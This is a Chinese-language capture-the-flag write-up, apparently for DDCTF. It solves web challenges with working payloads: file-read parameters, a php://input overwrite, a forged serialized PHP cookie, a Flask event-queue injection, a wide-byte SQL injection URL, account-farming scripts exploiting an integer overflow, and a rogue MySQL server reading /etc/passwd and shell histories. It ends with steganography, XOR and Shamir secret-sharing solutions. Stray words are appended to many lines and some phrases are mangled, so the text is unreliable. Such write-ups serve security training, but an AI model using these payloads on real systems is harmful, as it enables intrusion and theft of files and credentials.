http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09php
觀察連接可發現jpg的值是文件名轉hex再base64編碼兩次獲得,由此獲得任意文件讀取漏洞html
讀取index.phppython
http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3mysql
將源碼中的base解碼獲得源碼git
備註是提示,訪問該博客該日期的文章,獲得提示 .practice.txt.swp,最後發現flag文件github
結合index.php的邏輯web
將f1agconfigddctf.php轉爲hex字符串,base64編碼兩次,而後sql
http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==數據庫
獲得f1ag!ddctf.php的源碼,典型變量覆蓋flask
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=
抓包發現有個認證的接口,有個username未填值
嘗試admin成功並給出了一個地址
訪問發現是源代碼
nickname處可注入%s帶出eancrykey
獲得eancrykey就可僞造Cookie,僞形成功便可形成反序列化漏洞
Application類可形成任意文件讀取
這裏能夠雙寫繞過
這裏判斷了長度,猜想flag文件路徑爲../config/flag.txt
最後payload
<?php Class Application { var $path = '....//config/flag.txt'; } $o=new Application(); $session=serialize($o); echo urlencode($session.md5("EzblrbNS".$session));
上傳的圖片會通過二次渲染,插入的多餘字符就會被刪除,將其渲染過的圖片用010editor打開會發現是GD
搜索找到相關方法和腳本
https://wiki.ioin.in/soft/detail/1q
初步嘗試屢次未成功,後將渲染後的圖片下載後再次用該腳本處理,上傳,成功繞過
# -*- encoding: utf-8 -*- # written in python 2.7 __author__ = 'garzon' from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' # censored url_prefix = '/d5af31f66177e857' def FLAG(): return 'FLAG_is_here_but_i_wont_show_you' # censored def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval(action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' #resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True': html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;) <br />' def get_flag_handler(args): if session['num_items'] >= 5: trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
首先發現此處action可控,可注入代碼,其後多餘部分可用#註釋
利用該點可調用腳本內任意帶參函數,好比調用show_flag_function
而後看到這裏,雖然不會顯示flag,但trigger_event中的內容會被記錄到log中,log在session中,而flask 是本地session,讀取本地session就行
最後思路就是,想辦法讓本身num_items大於5後調用get_flag_handler
注意到這裏買東西和扣錢的處理是分開的,直覺確定有問題。正常處理是先buy_handler,這時是不理會points直接增長num_items的,而後立刻consume_point_function,這時才比較points,points不夠的話就回滾session。若是這樣就必須想辦法先調用buy_handler,而後調用get_flag_handler,將consume_point_function排到後面才行
最後利用到trigger_event函數注入event構造出本身想要調用的順序
最終paylaod
http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;
或者這樣,只要不超過日誌容量且num_items大於等於5就行
http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;
用p神腳本解密本地session
一開始報名處存在XSS
用xss平臺讀取到源碼後發現一個接口
測出是寬字節注入後就常規操做查數據庫,查表名,列名,最後獲得flag。(一開始有看到gbk編碼想到是寬字節,但隨手測試一條payload發現不報錯就沒測了,後悔!,後面實在沒轍了就繼續測試才發現)
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23
一開始僞造價格,發現後端按範圍是分別以32位和64位處理,由於64位最大整數+1報錯,32位最大整數+1報錯,然而其中間的某範圍數不報錯。通過測試發現提交32位最大整數*2+2到100的數就可買票,好比4294967296
而後寫腳本註冊小號,主號提交。兩個腳本這樣其實比較麻煩並且費時間,但我就是懶-.-,,沒有整合兩個腳本,最後是第一個腳本跑了足夠多的id和Tiket以後,第二個腳本提交
註冊小號獲得id和ticket
import requests import re import time requests=requests.session() def register(username): url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username) res=requests.get(url) return res.text def buy(): url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296' res=requests.get(url) bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1) url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id) res=requests.get(url) return res.text def xx(username): register(username) return buy() f=open('acc10.txt','w') for i in range(0,600): res=xx("l3yx_101_00"+str(i)) time.sleep(3) print res f.writelines(res) f.flush()
主號提交
import requests import re import time requests=requests.session() def login(name,password): url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password) res=requests.get(url) return res.text def submit(id,ticket): url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket) res=requests.get(url) return res.text login('lei','123456789') f=open('acc8.txt','r') for i in f.readlines(): id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1) ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2) time.sleep(2) print submit(id_,ticket_)
網站功能是掃描服務器上mysql的弱口令,應該是會用弱口令來鏈接個人mysql服務端,想到以前見過僞造mysql服務端來攻擊客戶端的騷操做
https://lightless.me/archives/read-mysql-client-file.html
1.服務器啓動mysql僞造腳本,因爲我本機裝有mysql,因此該僞造腳本端口設置在3307(網上公開腳本,非原創)
2.服務器啓動agent.py
3.在網頁填寫ip和端口進行掃描
此時僞造服務端的腳本已成功讀取/etc/passwd
繼續讀/root/.bash_history發現入口文件/home/dc2-user/ctf_web_2/app/main/views.py
從入口文件/home/dc2-user/ctf_web_2/app/main/views.py獲得提示flag在數據庫
嘗試讀取數據庫文件/var/lib/mysql/security/flag.ibd無果,貌似是空的???
最後讀取/root/.mysql_history發現flag
根據Color Threshold提示測試LSB隱寫,找到一串密文
觀察圖片,發現有兩個位置顏色不一樣
嘗試用魏公村地名爲密鑰解密成功
github找到分析xor的工具
https://github.com/hellman/xortool
猜想是空格最多,因此-c後面是20。腳本得出key最大可能性長度是6,並給出了可能的key
但發現有部分亂碼,並且是每6個字符,第一個字符錯誤,很容易知道是腳本得出的key長度沒有問題,但第一個字符錯了
觀察下面有DCTF{,顯而易見前面那個亂碼是D,因此用這個位置的密文異或上D就能獲得key第一位
異或獲得key第一位
因此最後key是\x323\xffSY\x8b
在HTTP包中找到3張圖片,分別導出字節流
前兩張類似但文件大小不一樣,第二張體積比較大
最後一個HTTP包還發現一個圖片加密隱藏信息的網站
須要密碼和加密後的圖片
猜想第二張圖片是第一張加密事後的,第三張鑰匙形狀的藏有密碼
最後發現鑰匙圖片是高度隱寫,修改高度後
解密
16進制到文本字符串
參考如下文章
https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
https://blog.mythsman.com/2015/10/07/2/
根據題意猜想,組織1內部須要算出一段數據zh1,組織2內部算出zh2,而後zh1和zh2一塊兒算出z,最後z和p算出最終祕密,須要注意的是就是順序須要屢次測試,並且腳本內的_PRIME須要設置爲p
最終腳本
from __future__ import division from __future__ import print_function import random import functools _PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9 _RINT = functools.partial(random.SystemRandom().randint, 0) def _eval_at(poly, x, prime): accum = 0 for coeff in reversed(poly): accum *= x accum += coeff accum %= prime return accum def make_random_shares(minimum, shares, prime=_PRIME): if minimum > shares: raise ValueError("pool secret would be irrecoverable") poly = [_RINT(prime) for i in range(minimum)] points = [(i, _eval_at(poly, i, prime)) for i in range(1, shares + 1)] return poly[0], points def _extended_gcd(a, b): x = 0 last_x = 1 y = 1 last_y = 0 while b != 0: quot = a // b a, b = b, a%b x, last_x = last_x - quot * x, x y, last_y = last_y - quot * y, y return last_x, last_y def _divmod(num, den, p): inv, _ = _extended_gcd(den, p) return num * inv def _lagrange_interpolate(x, x_s, y_s, p): k = len(x_s) assert k == len(set(x_s)), "points must be distinct" def PI(vals): # upper-case PI -- product of inputs accum = 1 for v in vals: accum *= v return accum nums = [] # avoid inexact division dens = [] for i in range(k): others = list(x_s) cur = others.pop(i) nums.append(PI(x - o for o in others)) dens.append(PI(cur - o for o in others)) den = PI(dens) num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p) for i in range(k)]) return (_divmod(num, den, p) + p) % p def recover_secret(shares, prime=_PRIME): if len(shares) < 2: raise ValueError("need at least two shares") x_s, y_s = zip(*shares) return _lagrange_interpolate(0, x_s, y_s, prime) p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9 z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964 z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1 z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7 z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525 z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62 z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5 z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] ) z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] ) z=recover_secret( [ (1,z1) , (2,z2) ] ) print( recover_secret( [ (1,p) , (0,z) ] ) )